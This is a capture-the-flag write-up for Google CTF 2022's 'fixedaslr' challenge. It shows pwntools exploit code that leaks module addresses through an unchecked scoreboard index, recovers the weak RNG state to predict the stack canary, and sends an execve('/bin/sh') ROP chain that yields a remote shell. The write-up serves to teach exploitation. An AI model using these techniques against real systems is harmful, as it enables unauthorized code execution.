Author thumbnail

Google Capture The Flag 2022 - fixedaslr

Jul 3, 2022

Google Capture The Flag 2022 - fixedaslr

I wasn’t happy with the default ASLR, so I fixed it. The flag is in a file called “flag” both in / and cwd.

fixedaslr.2022.ctfcompetition.com 1337

Attachment: fixedaslr.zip xpl.py

Team: Super Guesser

______      Welcome to the
  / ____/___ _____ ___  ___ 
 / / __/ __ `/ __ `__ \/ _ \
/ /_/ / /_/ / / / / / /  __/
\____/\__,_/_/ /_/ /_/\___/ 


-=*) MAIN MENU:
  1) Play The Game
  2) See full scoreboard
  3) See score for place
  4) Exit
Your choice?

So this “game” consisted of a loader and several object files, which were dynamically loaded at startup and mmapped with a custom aslr functionality.

At startup, it fetches a random state from urandom, initializes a stack guard canary and then loads the provided object files and maps them to “randomized” memory regions.

void start()
{
  sys_getrandom(&rand_state, 8, 2);

  init_stack_guard();

  for (int i = 0; files[i]; ++i )
    load_o_phase_1((char *)&o_ctx + 616 * i, files[i]);

  ...

  rand_state = 0;

  pivot_to_main(main_addr);
}

void init_stack_guard()
{
  ...

  unsigned long canary = rand(64);

  write_stack_guard(canary);
}

unsigned long aslr_get_addr(int a1)
{
  ...

  while ( 1 )
  {
    test_addr = rand(12) << 28;

    addr = sys_mmap(test_addr, v4, 3, 1048610, 0, 0);

    if ( addr <= 0xFFFFFFFFFFFFEFFF )
      break;

    puts("note: candidate address occupied");
  }
  
  ...
}

In aslr_get_addr we can see, that it will effectly only randomize 12 bits and shifts them resulting in memory regions like this:

[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00000005f0000000 0x00000005f0002000 0x0000000000000000 r-x 
0x00000005f0002000 0x00000005f0003000 0x0000000000000000 rw- 
0x00000005f0003000 0x00000005f0005000 0x0000000000000000 r-- 
0x0000004ad0000000 0x0000004ad0001000 0x0000000000000000 r-x 
0x0000004ad0001000 0x0000004ad0003000 0x0000000000000000 r-- 
0x0000006950000000 0x0000006950002000 0x0000000000000000 r-x 
0x0000006950002000 0x0000006950003000 0x0000000000000000 r-- 
0x00000087b0000000 0x00000087b0002000 0x0000000000000000 r-x 
0x00000087b0002000 0x00000087b0004000 0x0000000000000000 rw- 
0x00000087b0004000 0x00000087b0005000 0x0000000000000000 r-- 
0x000000e010000000 0x000000e010002000 0x0000000000000000 r-x 
0x000000e010002000 0x000000e010004000 0x0000000000000000 r-- 
0x000000ead0000000 0x000000ead0002000 0x0000000000000000 r-x 
0x000000ead0002000 0x000000ead0004000 0x0000000000000000 r-- 
0x000000f520000000 0x000000f520002000 0x0000000000000000 r-x 
0x000000f520002000 0x000000f520003000 0x0000000000000000 r-- 
0x00007f2005b14000 0x00007f2005b15000 0x0000000000000000 r-x => loader
0x00007f2005b15000 0x00007f2005b16000 0x0000000000000000 rw- 
0x00007ffd38666000 0x00007ffd38687000 0x0000000000000000 rw- [stack]
0x00007ffd38691000 0x00007ffd38695000 0x0000000000000000 r-- [vvar]
0x00007ffd38695000 0x00007ffd38697000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

The functionality needed for the challenge is separated in different object files

  • basic.o - Provides basic functionality like strcmp, strcpy
  • syscalls.o - Provides access to syscall interface and provide simple syscalls like write, read, …
  • guard.o - Provides simple _stack_chk_fail handler
  • res.o - Resource file (containing game banner)
  • debug.o - Just contains all the nice gadget, you’d need for ropchains
  • main.o - Entry point, show banner and enter game
  • game.o - Contains all the game logic

To get started, let’s check the game logic, since this is our main interface to the challenge.

We don’t have too many options in the game

  • Play the game
  • See full scoreboard
  • See score for place

Checking the full scoreboard isn’t too useful, since it will just show the existing scores and doesn’t seem to be vulnerable.

Play the game will always create two random numbers and asks for the result when adding those two values. Nothing too interesting here.

But if we win the game and have a score, which would let us enter the scoreboard, a simple buffer overflow waits for us.

void check_scoreboard(unsigned long score)
{
  for (int i = 0; i <= 9; ++i )
  {
    if ( score > game_scoreboard[i] )
    {
      shift_scoreboard(i);
      get_player_name(i);
      game_scoreboard[i] = score;      
    }
  }  
}

void get_player_name(int idx)
{
  char input[16];
  char buf[32]; 
  
  memset(buf, 0, 32);
  
  puts("Congratulations! You're going to the SCOREBOARD!");
  puts("How long is your name (0-31)?");
  
  if (readline(input, 16) == 1 )
  {
    unsigned long size = atou64(v3);
    if ( size > 0x1F )
      puts("Name too long! No SCOREBOARD for you.");

    puts("Now type in your name:");
    read(0, buf, size);
    buf[31] = 0;
    strcpy(game_names + 32 * idx, buf);
  }  
}

Though it seems to check for a valid size, it doesn’t return and thus only prints an error message but happily continues reading into buf resulting in an overflow. But the function is guarded with a canary, so just overflowing it, will get us nowhere without knowing the correct canary.

Let’s put that aside and try to find some leaks first.

The option See score for place gives us a somewhat arbitrary read, since it doesn’t do proper boundary checks.

void see_scoreboard()
{
  long idx;
  char input[32]; 
  char buf[40];
  
  puts("Which place's score do you want to see (0-9)?");

  if (readline(input, 32) == 1 )
  {
    idx = atou64(input);

    print("To get this place you need to beat this score: ");

    memset(buf, 0, 32);    
    u64toa(buf, game_scoreboard[idx]);
    puts(buf);
  }
}

With this, we can now read any qword relative to the start of the scoreboard.

By now, we don’t know any address, since all object file regions are randomized, but using this, we can search for addresses in the region, the game_scoreboard is located in.

At first, I only searched for leaks and stored them randomly. But it later turned out, that it would be a good idea to know exactly to which object file which address belongs to, so lets do it right this time from the beginning.

game_scoreboard is a reference to scoreboard in main.o, so the scoreboard itself is stored in the data region of main.

Let’s see, if we can find something useful behind the scoreboard

gef➤  x/30gx 0x00000087b0002000
0x87b0002000:	0x000000000000005f	0x000000000000005a  <= scoreboard (main.o)
0x87b0002010:	0x0000000000000055	0x0000000000000050
0x87b0002020:	0x000000000000004b	0x0000000000000046
0x87b0002030:	0x0000000000000041	0x000000000000003c
0x87b0002040:	0x0000000000000037	0x0000000000000032
0x87b0002050:	0x0000000000000000	0x0000000000000000
0x87b0002060:	0x0000000079726147	0x0000000000000000  <= names
0x87b0002070:	0x0000000000000000	0x0000000000000000
0x87b0002080:	0x000000006c656f59	0x0000000000000000
0x87b0002090:	0x0000000000000000	0x0000000000000000
0x87b00020a0:	0x73616c6f6863694e	0x0000000000000000
0x87b00020b0:	0x0000000000000000	0x0000000000000000
0x87b00020c0:	0x00617373656e6156	0x0000000000000000
0x87b00020d0:	0x0000000000000000	0x0000000000000000
0x87b00020e0:	0x0000006563696c41	0x0000000000000000
...
0x87b0002ff0:	0x0000000000000000	0x0000000000000000
0x87b0003000:	0x00000087b0002060	0x0000000000000000 <= ref to names
0x87b0003010:	0x0000000000000000	0x0000000000000000
...

So, we have a reference to names at offset 0x1000 from the scoreboard, which we can read and thus know the base address of main.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "fixedaslr.2022.ctfcompetition.com"
PORT = 1337
PROCESS = "./loader"

def read_off(off):
  r.sendline("3")
  r.recvline()
  r.sendline(str(off))
  r.recvuntil("score: ")
  LEAK = r.recvline()
  r.recvuntil("choice?\n")
  return int(LEAK)

def exploit(r):
  r.recvuntil("choice?\n")

  LEAKMAIN = read_off(0x1000//8)
  MAINRW = LEAKMAIN - 0x60
  MAINRX = MAINRW - 0x2000
	
  print("main     : %s" % hex(MAINRX))
	
  r.interactive()
	
  return

if __name__ == "__main__":
  if len(sys.argv) > 1:
    LOCAL = False
    r = remote(HOST, PORT)		
  else:
    LOCAL = True
    r = process("./loader")
    print (util.proc.pidof(r))
    pause()
	
  exploit(r)
[+] Starting local process './loader': pid 114062
[114062]
[*] Paused (press any to continue)
main     : 0x3690000000
[*] Switching to interactive mode

Since main.o is calling the show_banner function from game.o at startup, it needs to know its address and we can find it at the start of main region.

gef➤  x/30gx 0x3690000000
0x3690000000:	0xcccc0000000225ff	0x0000008ea0001111 <= x / show_banner
0x3690000010:	0xcccc0000000225ff	0x0000008ea000175c
0x3690000020:	0xcccc0000000225ff	0x0000008ea0001000
0x3690000030:	0xcccc0000000225ff	0x0000002bf0001000
0x3690000040:	0x0000000000000000	0x0000000000000000

By reading that, we can derive the base address of game.o. But since we now want to read a value, which is located “before” the scoreboard and we cannot enter negative values, we have to pass such a big index, that it will overflow and thus “wrap” around at 0xffffffffffffffff

def get_off(base, target):
  if target > base:
    return target-base
  else:
    return 0x10000000000000000-(base-target)//8

...

GAMELEAK = read_off(get_off(MAINRW, MAINRX+8))
GAMERX = GAMELEAK - 0x1111
GAMERW = GAMERX + 0x2000
	
print("game     : %s" % hex(GAMERX))

Since we now know the base address of game.o we can also start leaking addresses from there, since we can exactly calculate the needed offset from scoreboard to game now.

game.o will contain a reference to print from basic.o and _stack_chk_fail from guard.o

gef➤  x/30gx 0x0000008ea0000000
0x8ea0000000:	0xcccc0000000225ff	0x0000007cd000119c => x / basic.o print
0x8ea0000010:	0xcccc0000000225ff	0x0000007cd00011f2
0x8ea0000020:	0xcccc0000000225ff	0x0000002bf0001000 => x / guard.o _stack_chk_fail
BASICLEAK = read_off(get_off(MAINRW, GAMERX+8))
BASICRX = BASICLEAK - 0x119c

print("basic    : %s" % hex(BASICRX))

GUARDLEAK = read_off(get_off(MAINRW, GAMERX+0x28))
GUARDRX = GUARDLEAK - 0x1000

print("guard    : %s" % hex(GUARDRX))

We can also find a reference in game.o to game_banner, which comes from res.o

gef➤  x/30gx 0x0000008ea0002000
0x8ea0002000:	0x0000008750001000	0x0000003690002000 => game_banner / game_scoreboard
0x8ea0002010:	0x0000003690002060	0x0000000000000000 => game_names
0x8ea0002020:	0x0000000000000000	0x0000000000000000
0x8ea0002030:	0x0000000000000000	0x0000000000000000
RESLEAK = read_off(get_off(MAINRW, GAMERW))
RESBASE = RESLEAK - 0x1000

print("res      : %s" % hex(RESBASE))

In basic.o we can find a reference to sys_read at offset 0x28

gef➤  x/30gx 0x0000007cd0000000
0x7cd0000000:	0xcccc0000000225ff	0x0000002bf0001000
0x7cd0000010:	0xcccc0000000225ff	0x0000002bf0001000
0x7cd0000020:	0xcccc0000000225ff	0x0000002bf0001000
0x7cd0000030:	0xcccc0000000225ff	0x00000063a00010ba => syscalls.o / sys_read
0x7cd0000040:	0xcccc0000000225ff	0x0000002bf0001000
SYSCALLSLEAK = read_off(get_off(MAINRW, BASICRX+0x38))
SYSCALLSRX = SYSCALLSLEAK - 0x10ba

print("syscalls : %s" % hex(SYSCALLSRX))

With this, we now have found all discoverable leaks (debug.o cannot be found, since none of the other object files reference it)

[+] Starting local process './loader': pid 116330
[116330]
[*] Paused (press any to continue)
main     : 0x78b0000000
game     : 0x59d0000000
basic    : 0x3330000000
guard    : 0x3b10000000
res      : 0xfb70000000
syscalls : 0xc320000000

Still, we don’t know the canary to exploit the buffer overflow in the enter score function.

But checking the randomize functionality from the challenge again, it seemed to be quite possible to reverse it, to get the inital random_state to be able to calculate the canary ourself.

The loader initially fills rand_state by reading it from urandom and then initializes the stack guard with rand(64).

unsigned long rand(int bits)
{
  unsigned long result = 0LL;

  for (int i = 0; i < bits; ++i )
    result = (unsigned __int8)rand_get_bit() | (2 * result);

  return result;
}

rand will call rand_get_bit for every bit and shift it to the left, thus calculating the resulting random number.

uint8_t rand_get_bit()
{  
  int bit1 = rand_extract_bit(63);
  int bit2 = rand_extract_bit(61) ^ bit1;
  int bit3 = rand_extract_bit(60) ^ bit2;

  uint8_t result_bit = bit3 ^ rand_extract_bit(58) ^ 1;

  rand_state = (2 * rand_state) | result_bit;

  return result_bit;
}

// Get bit at offset from rand_state
unsigned long rand_extract_bit(int bitOffset)
{
  return (rand_state >> bitOffset) & 1;
}

rand_get_bit will calculate a random bit based on bits in rand_state, then shift rand_state by 1 bit to the left and append the resulting bit at the end of rand_state.

Soooo, rand is also used for calculating the aslr addresses of the object regions, and we know the addresses for those and we also know the order, in which they were calculated (main, syscalls, guard, basic, game, res, debug).

Though, while being quite confident, that this process should definitely be reversable, I’m not that good at rng reverse magic, so I would have been quite stuck at that point.

But what do we have team colleagues for? :)

So, I cleaned up the current script, ordered the leaks in the way, they would have been produced by the random number generator and summarized my idea in discord and asked for help from our crypto/math geniuses.

And thankfully, rkm0959 picked it up and quickly came up with a sage algo to calculate back the random_state, providing the stack guard canary and also the address of the debug region (which can be derived by calculating the next random value after res region).

rand_state = 0

def rand_extract_bit(x):
    global rand_state
    return ((rand_state >> x) & 1)

def rand_get_bit():
    global rand_state
    v0 = rand_extract_bit(63)
    v1 = rand_extract_bit(61) ^ v0
    v1 = rand_extract_bit(60) ^ v1 
    v3 = v1 ^ rand_extract_bit(58) ^ 1 
    rand_state = ((2 * rand_state) | v3) % (1 << 64)
    return v3 

def get_rand(x):
    ret = 0
    for _ in range(x):
        ret = 2 * ret | rand_get_bit()
    return ret

def leaks_to_stack(leaks):
    global rand_state
    one_vec = vector(GF(2), [0] * 64 + [1])
    init = []
    for i in range(64):
        tt = vector(GF(2), [0] * 65)
        tt[i] = 1
        init.append(tt)
    for i in range(64):
        new_vec = init[63] + init[61] + init[60] + init[58] + one_vec
        for j in range(63, 0, -1):
            init[j] = init[j-1]
        init[0] = new_vec
    M = []
    fin = []
    for i in range(len(leaks)):
        for j in range(12):
            new_vec = init[63] + init[61] + init[60] + init[58] + one_vec
            for k in range(63, 0, -1):
                init[k] = init[k-1]
            init[0] = new_vec
            target = (leaks[i] >> (11 - j)) & 1
            fin.append(GF(2)(init[0][64] + target))
            ff = []
            for k in range(64):
                ff.append(init[0][k])
            M.append(ff)
    fin = vector(GF(2), fin)
    M = Matrix(GF(2), M)
    try:
        v = M.solve_right(fin)
        ret = 0
        for i in range(64):
            ret += int(v[i]) * (1 << i)
        rand_state = ret
        canary = get_rand(64)
        for _ in range(6):
            get_rand(12)
        final_leak = get_rand(12)
        return [canary, final_leak]
    except:
        pass

...
REGIONS = [MAINRX, SYSCALLSRX, GUARDRX, BASICRX, GAMERX, RESBASE]

leaks = list(map(lambda x: x >> 0x1c, REGIONS))

CANARY, DEBUG = leaks_to_stack(leaks)
DEBUG = DEBUG << 0x1c

print("canary   : %s" % hex(CANARY))
print("debug    : %s" % hex(DEBUG))
[+] Starting local process './loader': pid 120754
[120754]
[*] Paused (press any to continue)
main     : 0xe750000000
game     : 0x19c0000000
basic    : 0xe270000000
guard    : 0x8780000000
res      : 0xc550000000
syscalls : 0x2020000000
canary   : 0xb37ddcfa2450d8f
debug    : 0x35b0000000

Now, we got everything we need to exploit the buffer overflow and write a simple execve("/bin/sh", 0, 0) ropchain.

We just need to play the game and get a score, that qualifies us for the scoreboard.

def play_until_score(target_score, payload):
  r.sendline("1")
  while 1:
    r.recvuntil("How much is ")
    expr = r.recvuntil(" ?\n", drop=True)
    res = eval(expr)
    r.sendline(str(res))
    r.recvuntil("You have ")
    score = int(r.recvuntil("pts", drop=True))

    if score >= target_score:
      break

  r.recvuntil("?\n")
  r.sendline("0")
  r.recvuntil("?\n")
  r.sendline(str(len(payload)))
  r.recvuntil("name:\n")	
  r.send(payload)

Since we have access to debug.o now, which contains all the gadgets you could wish for, we can easily craft a ropchain and finish this.

When triggering our ropchain, rdi will already point to the start of our name, so we can just start it with /bin/sh\x00 and omit pop rdi.

POPRAX = DEBUG + 0x1007
POPRDI = DEBUG + 0x1001
POPRSI = DEBUG + 0x1004
POPRDX = DEBUG + 0x1010
SYSCALL = SYSCALLSRX + 0x1002
	
payload = b"/bin/sh\x00"
payload += b"A"*(40-len(payload))
payload += p64(CANARY)
payload += p64(0xdeadbeef)	
payload += p64(POPRAX)
payload += p64(59)
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)

play_until_score(100, payload)
[+] Opening connection to b'fixedaslr.2022.ctfcompetition.com' on port 1337: Done
main     : 0xa710000000
game     : 0x3a20000000
basic    : 0x6140000000
guard    : 0xbb40000000
res      : 0x51e0000000
syscalls : 0x73f0000000
canary   : 0xa8bb342d9de5ad95
debug    : 0xea30000000
$ ls
basic.o
debug.o
flag
game.o
guard.o
loader
main.o
res.o
syscalls.o
$ cat flag
CTF{GuessYouCanSayTheCookieGotRandomlyBroken}